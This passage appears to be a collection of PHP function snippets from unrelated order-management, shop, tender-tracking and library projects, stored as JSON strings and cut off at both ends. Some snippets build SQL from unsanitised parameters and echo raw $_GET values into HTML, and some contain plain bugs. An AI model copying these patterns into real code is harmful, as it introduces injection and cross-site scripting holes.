$modelOI->oia_item_width = $productDimensionData['ItemWidth'];\n $modelOI->oia_package_height = $productDimensionData['PackageHeight'];\n $modelOI->oia_package_length = $productDimensionData['PackageLength'];\n $modelOI->oia_package_weight = $productDimensionData['PackageWeight'];\n $modelOI->oia_package_width = $productDimensionData['PackageWidth'];\n }\n }\n if ($modelOI->save(false)) {\n echo \"ASIN Saved.\";\n }\n sleep(3);\n }\n }\n }\n }\n }\n }\n\n /*if($id) {\n $user->order_cron_status = 1;\n $user->save(false);\n }*/\n }\n echo \"Done..\";\n }", "function get_rec_due_date_within_week_page($cDate,$lWeek){\n $query = \"\n SELECT\n view_recommandation_due_date.mgo_file_ref,\n view_recommandation_due_date.dos_file_ref,\n view_recommandation_due_date.vote_id,\n view_recommandation_due_date.vote_head,\n view_recommandation_due_date.vote_name,\n view_recommandation_due_date.item_id,\n view_recommandation_due_date.item_code,\n view_recommandation_due_date.item_name,\n view_recommandation_due_date.quantity,\n view_recommandation_due_date.unit_type_id,\n view_recommandation_due_date.unit_name,\n view_recommandation_due_date.tndr_open_date,\n view_recommandation_due_date.ho_date,\n view_recommandation_due_date.date_of_doc_ho,\n view_recommandation_due_date.tec_due_date,\n view_recommandation_due_date.received_tec_date,\n view_recommandation_due_date.forward_tec_date,\n view_recommandation_due_date.recomma_due_date\n FROM\n view_recommandation_due_date\n WHERE recomma_due_date BETWEEN '$cDate' AND '$lWeek'\n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n }", "function PrevOrders(){\n\t\n\tglobal $db_shop_setup,$db_shop_orders,$db_shop_orders_product,$db_category,$db_shop_product;\n\tglobal $eden_cfg;\n\tglobal $project;\n\t\n\t$_SESSION['loginid'] = AGet($_SESSION,'loginid');\n\t\n\t$res_setup = mysql_query(\"\n\tSELECT shop_setup_show_vat_subtotal \n\tFROM $db_shop_setup \n\tWHERE shop_setup_lang='\".mysql_real_escape_string($_GET['lang']).\"'\"\n\t) or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t$ar_setup = mysql_fetch_array($res_setup);\n\techo \"\t<div align=\\\"center\\\">\\n\";\n\techo \"\t\t<div id=\\\"edenshop_prev_order_border_top\\\"></div>\\n\";\n\techo \"\t\t<div id=\\\"edenshop_prev_order_border_mid\\\">\\n\";\n\techo \"\t\t<div id=\\\"edenshop_prev_order_title\\\">\"._SHOP_PREV_ORDER.\"</div><br>\\n\";\n\techo \"\t\t\t<table id=\\\"edenshop_prev_order_headline\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"1\\\">\\n\";\n\techo \"\t\t\t\t<tr class=\\\"edenshop_prev_order_name\\\">\\n\";\n\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_name_id\\\">\"._SHOP_PREV_ORDER_ID.\"</td>\\n\";\n\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_name_date\\\">\"._SHOP_PREV_ORDER_DATE.\"</td>\\n\";\n\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_name_status\\\">\"._SHOP_PREV_ORDER_STATUS.\"</td>\\n\";\n\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_name_price\\\">\"._SHOP_PREV_ORDER_PRICE.\"</td>\\n\";\n\techo \"\t\t\t\t</tr>\";\n\t\t\t\t$res = mysql_query(\"\n\t\t\t\tSELECT shop_orders_id, shop_orders_orders_status, shop_orders_order_total, shop_orders_order_tax, shop_orders_date_ordered, shop_orders_carriage_price \n\t\t\t\tFROM $db_shop_orders \n\t\t\t\tWHERE shop_orders_admin_id=\".(integer)$_SESSION['loginid'].\" \n\t\t\t\tORDER BY shop_orders_id DESC\"\n\t\t\t\t) or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t\t\t\twhile ($ar = mysql_fetch_array($res)){\n\t\t\t\t\tswitch ($ar['shop_orders_orders_status']) {\n\t\t\t\t\t\tcase \"1\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"2\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_2;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"3\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_3;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"4\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_4;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"5\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_5;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"6\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_6;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"7\":\n\t\t\t\t\t\t\t$prev_order_status = _SHOP_ORDER_STATUS_7;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$prev_order_price = $ar['shop_orders_order_total'] + $ar['shop_orders_order_tax'];\n\t\t\t\t\techo \"<tr\"; if ($_GET['state'] == \"open\" && $_GET['poid'] == $ar['shop_orders_id']){echo 'id=\"edenshop_prev_order_mark\"';} echo \">\";\n\t\t\t\t\techo \"\t<td id=\\\"edenshop_prev_order_id\\\"><a href=\\\"\".$eden_cfg['url'].\"index.php?action=prev_orders&amp;lang=\".$_GET['lang'].\"&amp;filter=\".$_GET['filter'].\"&amp;poid=\".$ar['shop_orders_id'].\"&amp;state=open\\\">\".$ar['shop_orders_id'].\"</a></td>\\n\";\n\t\t\t\t\techo \"\t<td id=\\\"edenshop_prev_order_date\\\">\".FormatDatetime($ar['shop_orders_date_ordered'],\"d.m.Y\").\"</a></td>\\n\";\n\t\t\t\t\techo \"\t<td id=\\\"edenshop_prev_order_status\\\">\".$prev_order_status.\"</td>\\n\";\n\t\t\t\t\techo \"\t<td id=\\\"edenshop_prev_order_price\\\">\"; if ($ar['shop_orders_orders_status'] == \"6\" || $ar['shop_orders_orders_status'] == \"7\"){ echo \"<span style=\\\"text-decoration: line-through;\\\">\".PriceFormat($prev_order_price).\"</span>\";} else {echo PriceFormat($prev_order_price);} echo \"</td>\\n\";\n\t\t\t\t\techo \"</tr>\";\n\t\t\t\t\tif ($_GET['state'] == \"open\" && $_GET['poid'] == $ar['shop_orders_id']){\n\t\t\t\t\t\techo \"\t<tr>\\n\";\n\t\t\t\t\t\techo \"\t\t<td colspan=\\\"4\\\">\\n\";\n\t\t\t\t\t\techo \"\t\t\t<table id=\\\"edenshop_prev_order_prod_headline\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"1\\\">\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t<tr class=\\\"edenshop_prev_order_prod_name\\\">\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_name_qty\\\">\"._SHOP_QTY.\"</td>\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_name_code\\\">\"._SHOP_CODE.\"</td>\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_name_title\\\">\"._SHOP_TITLE.\"</td>\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_name_inc_vat\\\">\"._SHOP_PRICE_INC_VAT_S.\"</td>\\n\";\n\t\t\t\t\t\techo \"\t\t\t\t</tr>\";\n\t\t\t\t\t\t$res_order_products = mysql_query(\"\n\t\t\t\t\t\tSELECT shop_orders_shop_product_id, shop_orders_shop_product_name, shop_orders_shop_product_tax, shop_orders_shop_product_price, shop_orders_shop_product_quantity \n\t\t\t\t\t\tFROM $db_shop_orders_product \n\t\t\t\t\t\tWHERE shop_orders_orders_id=\".(integer)$ar['shop_orders_id'].\" \n\t\t\t\t\t\tORDER BY shop_orders_product_id ASC\"\n\t\t\t\t\t\t) or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t\t\t\t\t\twhile($ar_order_products = mysql_fetch_array($res_order_products)){\n\t\t\t\t\t\t\t$res_product = mysql_query(\"\n\t\t\t\t\t\t\tSELECT p.shop_product_id, p.shop_product_product_code, c.category_name \n\t\t\t\t\t\t\tFROM $db_shop_product AS p, $db_category AS c \n\t\t\t\t\t\t\tWHERE p.shop_product_id=\".(integer)$ar_order_products['shop_orders_shop_product_id'].\" AND c.category_id = p.shop_product_master_category\"\n\t\t\t\t\t\t\t) or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t\t\t\t\t\t\t$ar_product = mysql_fetch_array($res_product);\n\t\t\t\t\t\t\t$price_inc_vat = $ar_order_products['shop_orders_shop_product_price'] * $ar_order_products['shop_orders_shop_product_quantity'];\n\t\t\t\t\t\t\t$price_ex_vat = $price_inc_vat / ($ar_order_products['shop_orders_shop_product_tax']/100+1);\n\t\t\t\t\t\t\t$price_vat = ($price_inc_vat - $price_ex_vat);\n\t\t\t\t\t\t\t$basket_ex_vat = TepRound($price_ex_vat,2);\n\t\t\t\t\t\t\t$basket_inc_vat = TepRound($price_inc_vat,2);\n\t\t\t\t\t\t\techo \"\t<tr>\\n\";\n\t\t\t\t\t\t\techo \"\t\t<td id=\\\"edenshop_prev_order_prod_qty\\\">\".$ar_order_products['shop_orders_shop_product_quantity'].\"</td>\\n\";\n\t\t\t\t\t\t\techo \"\t\t<td id=\\\"edenshop_prev_order_prod_code\\\"><a href=\\\"index.php?action=\".strtolower($ar_product['category_name']).\"&amp;lang=\".$_GET['lang'].\"&amp;filter=\".$_GET['filter'].\"&amp;prod_id=\".$ar_product['shop_product_id'].\"&amp;spec=1\\\">\".$ar_product['shop_product_product_code'].\"</a></td>\\n\";\n\t\t\t\t\t\t\techo \"\t\t<td id=\\\"edenshop_prev_order_prod_title\\\">\".$ar_order_products['shop_orders_shop_product_name'].\"</td>\\n\";\n\t\t\t\t\t\t\techo \"\t\t<td id=\\\"edenshop_prev_order_prod_inc_vat\\\">\".PriceFormat($basket_inc_vat).\"</td>\\n\";\n\t\t\t\t\t\t\techo \"\t</tr>\";\n\t\t\t\t\t\t\t$total_nett_price = $price_ex_vat + $total_nett_price;\n\t\t\t\t\t\t\t$total_vat = $price_vat + $total_vat;\n\t\t\t\t\t\t\t$subtotal = $price_inc_vat + $subtotal;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$total_total = $total_nett_price + $total_vat + $ar['shop_orders_carriage_price'];\n\t\t\t\t\t\techo \"\t</table>\\n\";\n\t\t\t\t\t\techo \"\t<table id=\\\"edenshop_prev_order_prod_headline\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">\\n\";\n\t\t\t\t\t\techo \"\t<tr>\\n\";\n\t\t\t\t\t\techo \"\t\t<td id=\\\"edenshop_prev_order_prod_recalculate\\\"><div id=\\\"edenshop_prev_order_prod_close\\\"><a href=\\\"\".$eden_cfg['url'].\"index.php?action=prev_orders&amp;lang=\".$_GET['lang'].\"&amp;filter=\".$_GET['filter'].\"&amp;state=close\\\"><img src=\\\"images/sys_close.gif\\\" width=\\\"10\\\" height=\\\"10\\\" alt=\\\"\"._CMN_CLOSE.\"\\\" border=\\\"0\\\"></a></div><br><span id=\\\"edenshop_progress_05_order_status\\\">\";\n\t\t\t \t\t\t\t\t\t\techo _SHOP_ORDER_STATUS;\n\t\t\t\t\t\t\t\t\t\tswitch ($ar['shop_orders_orders_status']) {\n\t\t\t\t\t\t\t\t\t\t\tcase \"1\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_1;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"2\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_2;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"3\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_3;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"4\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_4;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"5\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_5;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"6\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_6;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\tcase \"7\":\n\t\t\t\t\t\t\t\t\t\t\t\techo _SHOP_ORDER_STATUS_7;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\techo \"\t\t\t\t\t\t</span>\\n\";\n\t\t\techo \"\t\t\t\t\t</td>\\n\";\n\t\t\techo \"\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_box\\\">\\n\";\n\t\t\techo \"\t\t\t\t\t\t<table width=\\\"100%\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">\\n\";\n\t\t\tif ($ar_setup['shop_setup_show_vat_subtotal'] == 1){\n\t\t\t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total\\\">\"._SHOP_NETT_TOTAL.\"</td>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_price\\\">\".PriceFormat(TepRound($total_nett_price)).\"</td>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t\t<td colspan=\\\"2\\\" id=\\\"edenshop_prev_order_prod_dotted\\\"></td>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total\\\">\"._SHOP_TOTAL_VAT.\"</td>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_price\\\">\".$basket_total_vat = TepRound($total_vat,2); PriceFormat($basket_total_vat).\"</td>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t\t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t\t<td colspan=\\\"2\\\" id=\\\"edenshop_prev_order_prod_dotted\\\"></td>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t\t} else {\n\t\t \t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total\\\">\"._SHOP_SUBTOTAL.\"</td>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_price\\\">\".PriceFormat(TepRound($subtotal,2)).\"</td>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t<tr>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t\t<td colspan=\\\"2\\\" id=\\\"edenshop_prev_order_prod_dotted\\\"></td>\\n\";\n\t\t \t\techo \"\t\t\t\t\t\t</tr>\\n\";\n\t\t\t}\n\t\t\techo \"\t\t\t\t\t\t\t<tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total\\\">\"._SHOP_CARRIAGE.\"</td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_price\\\">\".PriceFormat(TepRound($ar['shop_orders_carriage_price'])).\"</td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t</tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t<tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td colspan=\\\"2\\\" id=\\\"edenshop_prev_order_prod_dotted\\\"></td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t</tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t<tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total\\\">\"._SHOP_TOTAL.\"</td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_prod_total_total\\\">\".PriceFormat(TepRound($total_total)).\"</td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t</tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t<tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t\t<td colspan=\\\"2\\\">&nbsp;</td>\\n\";\n\t\t\techo \"\t\t\t\t\t\t\t</tr>\\n\";\n\t\t\techo \"\t\t\t\t\t\t</table>\\n\";\n\t\t\techo \"\t\t\t\t\t</td>\\n\";\n\t\t\techo \"\t\t\t\t</tr>\\n\";\n\t\t\techo \"\t\t\t</table>\\n\";\n\t\t\techo \"\t\t</td>\\n\";\n\t\t\techo \"\t</tr>\";\n\t\t}\n\t\t/* Nastaveni spravneho pocitani celkove sumy, do ktere se nezapocitavaji stornovane objednavky*/\n\t\tif ($ar['shop_orders_orders_status'] == \"6\" || $ar['shop_orders_orders_status'] == \"7\"){\n\t\t\n\t\t} else {\n\t\t\t$prev_order_total = $prev_order_total + $prev_order_price;\n\t\t}\n\t}\n\techo \"\t\t\t\t</table>\\n\";\n\techo \"\t\t\t\t<table id=\\\"edenshop_prev_order_total_headline\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">\\n\";\n\techo \"\t\t\t\t\t<tr>\\n\";\n\techo \"\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_recalculate\\\"><br><br></td>\\n\";\n\techo \"\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_total\\\"><br><br>\\n\";\n\techo \"\t\t\t\t\t\t\t<table width=\\\"100%\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">\\n\";\n\techo \"\t\t\t\t\t\t\t\t<tr>\\n\";\n\techo \"\t\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_total\\\">\"._SHOP_TOTAL.\"</td>\\n\";\n\techo \"\t\t\t\t\t\t\t\t\t<td id=\\\"edenshop_prev_order_total_total\\\">\".PriceFormat(TepRound($prev_order_total)).\"</td>\\n\";\n\techo \"\t\t\t\t\t\t\t\t</tr>\\n\";\n\techo \"\t\t\t\t\t\t\t</table>\\n\";\n\techo \"\t\t\t\t\t\t</td>\\n\";\n\techo \"\t\t\t\t\t</tr>\\n\";\n\techo \"\t\t\t\t</table>\\n\";\n\techo \"\t\t</div>\\n\";\n\techo \"\t\t<div id=\\\"edenshop_prev_order_border_bottom\\\"></div>\\n\";\n\techo \"\t</div><br>\";\n\t//$res_ord_prod = mysql_query(\"SELECT * FROM $db_shop_orders_product WHERE shop_orders_admin_id='$_SESSION[loginid]'\") or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t//$ar_ord_prod = mysql_fetch_array($res_ord_prod);\n}", "public function index()\n {\n //we keep completed and refunded orders for 3 days in tracking section\n //so added below conditions\n // ->whereRaw('((status = ' . ORDER_COMPLETED .') OR (status = ' . ORDER_REFUNDED . '))')\n // ->where('updated_at', '<=', $time)\n \n //$time = date('Y-m-d, H:i:s', strtotime('-3 days'));\n $time = date('Y-m-d, H:i:s', strtotime('-3 minutes'));\n $orders = Order::where('customer_id', $this->current_customer->id)\n ->whereRaw('((status = ' . ORDER_COMPLETED .') OR (status = ' . ORDER_REFUNDED . '))')\n ->where('updated_at', '<=', $time)\n ->orderBy('created_at', 'desc')\n ->paginate(5);\n \n return $this->view('customer.orderList', compact('orders')); \n }", "public function ajaxShowPartnerTopupTransactionAction() {\n $this->_helper->layout->disableLayout();\n if(null == $partnerId = $this->_request->getParam('partnerId',null)){\n die('Error');\n }\n $groupBy = $this->_getParam('groupBy', 'year');\n \n $partnerTopupTransactions = $this->_model->getPartnerTopupTransactions($partnerId, $groupBy);\n// var_dump($partnerTopupTransactions);die;\n \n $this->view->data = $partnerTopupTransactions;\n $this->view->groupBy = $groupBy;\n }", "public function index()\n {\n //\n //查询当前登录用户id\n $id=session('userid');\n // dd($id);\n //通过id判断除商户id\n $usr=shop::where('uid',$id)->get();\n // dd($sid);\n $sid=$usr['0']->id;\n\n // dd($sid);\n $res=orders::where('sid',$sid )->get();\n\n // dd($res);\n $ree=array();\n\n foreach($res as $k => $v){\n\n $resinfo=ordersinfo::where('o_code',$v->o_code)->get();\n\n foreach($resinfo as $k1 => $v1){\n\n if($v1->ostate==6){\n $ree[$v->o_code]=$resinfo;\n }\n }\n }\n\n\n return view('homes.seller.orderback',[\"resinfo\"=>$resinfo,\"ree\"=>$ree]); \n \n }", "public function index()\n {\n $orders = Order::where('status','=',Order::NEW)->with(\"client\")->get();\n return $this->showAll('orders',$orders);\n }", "public function loadAllOrders()\n\t\t{\n\t\t\t$orders = $this->mgrOrder->getAllOrders();\n\t\t\t//var_dump($orders);\n\t\t\tforeach ($orders as $order) {\n\t\t\t\t\n\t\t\t\t$element = \"<tr class=\\\"order\\\" onclick='openModalTable(\" . json_encode($order, JSON_HEX_APOS, JSON_HEX_QUOT) . \")'>\";\n\t\t\t\t$element .= \"<td id=\\\"id-order-\" . $order->getId() . \"\\\">\" . $order->getId() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"client-name-\" . $order->getId() . \"\\\">\" . $order->getClient()->getName() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"address-\" . $order->getId() . \"\\\">\" . $order->getClient()->getAddress() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"city-\" . $order->getId() . \"\\\">\" . $order->getClient()->getCity() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"province-\" . $order->getId() . \"\\\">\" . $order->getClient()->getProvince() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"postal_code-\" . $order->getId() . \"\\\">\" . $order->getClient()->getPostalCode() . \"</td>\";\n\t\t\t\t$element .= \"<td id=\\\"state-name-\" . $order->getId() . \"\\\">\" . $order->getState() . \"</td>\";\n\n\t\t\t\t$element .= \"</tr>\";\n\t\t\t\t\n\t\t\t\techo $element;\n\t\t\t}\n\t\t}", "public function bef(){\n\t $date=date(\"Y-m-d\");\n$db=new dbHandler(DB_HOST, DB_USER, DB_PWD);\n\t\n$fine=0;\n \n$query=\"select activity.s_id ,activity.book_no ,activity.return_date,activity.due_date ,activity.id,students.s_name,students.class,students.section,books.book_title from activity join students on activity.s_id=students.s_id join books on activity.book_no=books.book_no where activity.checked is null and activity.fine=? and activity.outsider=0 and activity.due_date < ? ORDER BY activity.due_date DESC\";\n$result=array();\n\t$result=$db->getRows($query,array($fine,$date));\n\tif(!empty($result)){\n\techo json_encode($result);\n\t}else{\n\t//got some codes if there is no pending unchecked\n\t}\n\t}", "public function getDailyOrdersData($id=null)\n {\n $startDate = date(\"Y-m-d H:i:s\", strtotime('-7 day', time()));\n $endDate = date('Y-m-d H:i:s');\n\n $userData = User::find()->andFilterWhere(['u_id' => $id, 'u_type' => 2])->andWhere(['IS NOT', 'u_mws_seller_id', null])->all();\n\n foreach ($userData as $user) {\n \\Yii::$app->data->getMwsDetails($user->u_mws_seller_id, $user->u_mws_auth_token);\n $orderList = \\Yii::$app->api->getOrdersList('Created', $startDate, $endDate);\n foreach ($orderList as $order) {\n $orderDetail = false;\n $order = (array)$order;\n $order = array_shift($order);\n if($order) {\n $model = AllOrdesList::findOne(['aol_amazon_order_id' => $order['AmazonOrderId'], 'aol_user_id' => $user->u_id]);\n if (!$model) {\n $model = new AllOrdesList();\n }\n $model->aol_amazon_order_id = (key_exists('AmazonOrderId', $order)) ? $order['AmazonOrderId'] : null;\n $model->aol_seller_order_id = (key_exists('SellerOrderId', $order)) ? $order['SellerOrderId'] : null;\n $model->aol_purchase_date = (key_exists('PurchaseDate', $order)) ? $order['PurchaseDate'] : null;\n $model->aol_last_updated_date = (key_exists('LastUpdateDate', $order)) ? $order['LastUpdateDate'] : null;\n $model->aol_order_status = (key_exists('OrderStatus', $order)) ? $order['OrderStatus'] : null;\n $model->aol_fulfilment_channel = (key_exists('FulfillmentChannel', $order)) ? $order['FulfillmentChannel'] : null;\n $model->aol_sales_channel = (key_exists('SalesChannel', $order)) ? $order['SalesChannel'] : null;\n $model->aol_ship_service = (key_exists('ShipServiceLevel', $order)) ? $order['ShipServiceLevel'] : null;\n $model->aol_order_total = (key_exists('OrderTotal', $order)) ? $order['OrderTotal']['Amount'] : 0;\n $model->aol_shipped_items = (key_exists('NumberOfItemsShipped', $order)) ? $order['NumberOfItemsShipped'] : null;\n $model->aol_unshipped_items = (key_exists('NumberOfItemsUnshipped', $order)) ? $order['NumberOfItemsUnshipped'] : null;\n if($model->aol_order_status == 'Shipped') {\n $model->aol_shipping_username = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['Name'] : null;\n $model->aol_shipping_address_1 = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['AddressLine1'] : null;\n $model->aol_shipping_address_2 = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['AddressLine2'] : null;\n $model->aol_shipping_address_3 = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['AddressLine3'] : null;\n $model->aol_city = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['City'] : null;\n $model->aol_country = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['County'] : null;\n $model->aol_district = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['District'] : null;\n $model->aol_state_or_region = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['StateOrRegion'] : null;\n $model->aol_postal_code = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['PostalCode'] : null;\n $model->aol_country_code =(key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['CountryCode'] : null;\n $model->aol_phone = (key_exists('ShippingAddress', $order)) ? $order['ShippingAddress']['Phone'] : null;\n $model->aol_buyer_name = key_exists('BuyerName', $order) ? $order['BuyerName'] : null;\n $model->aol_buyer_email = key_exists('BuyerEmail', $order) ? $order['BuyerEmail'] : null;\n $orderDetail = true;\n }\n $model->aol_user_id = $user->u_id;\n if($model->save(false)) {\n $olModel = OrderDataLog::findOne(['odl_order_id' => $model->aol_amazon_order_id, 'odl_user_id' => $user->u_id]);\n if (!$olModel) {\n $olModel = new OrderDataLog();\n $olModel->odl_order_id = $model->aol_amazon_order_id;\n $olModel->odl_user_id = $user->u_id;\n if($orderDetail) {\n $olModel->odl_shipped_order_data = 1;\n }\n if($olModel->save(false)) {\n echo $model->aol_amazon_order_id.\" Log is Saved. \";\n }\n }\n echo $model->aol_amazon_order_id.\" is Saved. \";\n }\n }\n }\n echo \"Done..\";\n }\n }", "function get_delivery_date_withing_week($cDate,$lWeek){\n $query = \"\n\t\t\tSELECT\n\t\t\t\ttbl_delivery_date.delivery_date_mgo_ref,\n\t\t\t\ttbl_tender_basic_details.dos_file_ref,\n\t\t\t\ttbl_vote_master.vote_name,\n\t\t\t\ttbl_items_list.item_name,\n\t\t\t\ttbl_tender_basic_details.quantity,\n\t\t\t\ttbl_unit_types.unit_name,\n\t\t\t\ttbl_tender_basic_details.tndr_open_date,\n\t\t\t\ttbl_tec_due_date.tec_due_date,\n\t\t\t\ttbl_received_tec.received_tec_date,\n\t\t\t\ttbl_forward_to_tender_bd.fwd_tb_date,\n\t\t\t\ttbl_tender_board_approval.tb_approval_date,\n\t\t\t\ttbl_delivery_date.delivery_date,\n\t\t\t\ttbl_delivery_date.delivery_remarks\n\t\t\tFROM\n\t\t\t\ttbl_delivery_date\n\t\t\t\tINNER JOIN tbl_tender_basic_details ON tbl_delivery_date.delivery_date_mgo_ref = tbl_tender_basic_details.mgo_file_ref\n\t\t\t\tINNER JOIN tbl_items_list ON tbl_tender_basic_details.item_id = tbl_items_list.item_id\n\t\t\t\tINNER JOIN tbl_vote_master ON tbl_vote_master.vote_id = tbl_tender_basic_details.vote_id\n\t\t\t\tINNER JOIN tbl_tender_board_approval ON tbl_tender_board_approval.tb_approval_mgo_ref = tbl_delivery_date.delivery_date_mgo_ref\n\t\t\t\tINNER JOIN tbl_forward_to_tender_bd ON tbl_forward_to_tender_bd.fwd_tb_mgo_ref = tbl_tender_board_approval.tb_approval_mgo_ref\n\t\t\t\tINNER JOIN tbl_unit_types ON tbl_tender_basic_details.unit_type_id = tbl_unit_types.unit_id\n\t\t\t\tINNER JOIN tbl_received_tec ON tbl_received_tec.received_tec_mgo_ref = tbl_delivery_date.delivery_date_mgo_ref\n\t\t\t\tINNER JOIN tbl_tec_due_date ON tbl_tec_due_date.tec_due_mgo_ref = 